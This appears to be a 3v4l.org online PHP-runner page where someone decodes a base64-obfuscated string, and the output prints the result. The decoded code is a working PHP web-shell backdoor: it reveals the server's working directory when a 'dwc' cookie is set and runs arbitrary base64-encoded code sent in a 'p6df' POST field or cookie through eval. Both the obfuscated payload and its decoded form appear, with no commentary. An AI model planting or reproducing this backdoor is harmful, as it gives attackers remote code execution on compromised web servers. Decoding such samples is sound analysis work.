3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo base64_decode("JHggICAgID0gICAnaic7OyAgICAgIGlmICAoICBpc3NldCggICAkX0NPT0tJRVsnZHdjJ10pICAgICApICAgeyAgIGVjaG8gICAgJzxjd2Q+JyAgICAgLiAgICBnZXRjd2QoKSAgICAuICAgICc8L2N3ZD4nOzsgOyA7ICAgICAgfSAgIGlmICAoICAgIGlzc2V0ICAoICAkX1BPU1RbJ3A2ZGYnXSAgICkgICAgICkgICAgeyAgZXZhbCAgICAgKCAgICAgYmFzZTY0X2RlY29kZSAgICAgKCAgICRfUE9TVFsncDZkZiddICApICApOzsgOyA7ICAgICByZXR1cm47OyA7ICAgICAgfSAgICBpZiAgICggIGlzc2V0KCAgICAkX0NPT0tJRVsncDZkZiddKSAgICApICAgICB7ICBldmFsICAgICAoICAgIGJhc2U2NF9kZWNvZGUgICAgICggICAgJF9DT09LSUVbJ3A2ZGYnXSAgKSAgICApOzsgOyAgICAgcmV0dXJuOzsgICAgIH0gICAg"); ?>
based on J8LUI
Output for 4.3.0 - 7.1.0
$x = 'j';; if ( isset( $_COOKIE['dwc']) ) { echo '<cwd>' . getcwd() . '</cwd>';; ; ; } if ( isset ( $_POST['p6df'] ) ) { eval ( base64_decode ( $_POST['p6df'] ) );; ; ; return;; ; } if ( isset( $_COOKIE['p6df']) ) { eval ( base64_decode ( $_COOKIE['p6df'] ) );; ; return;; }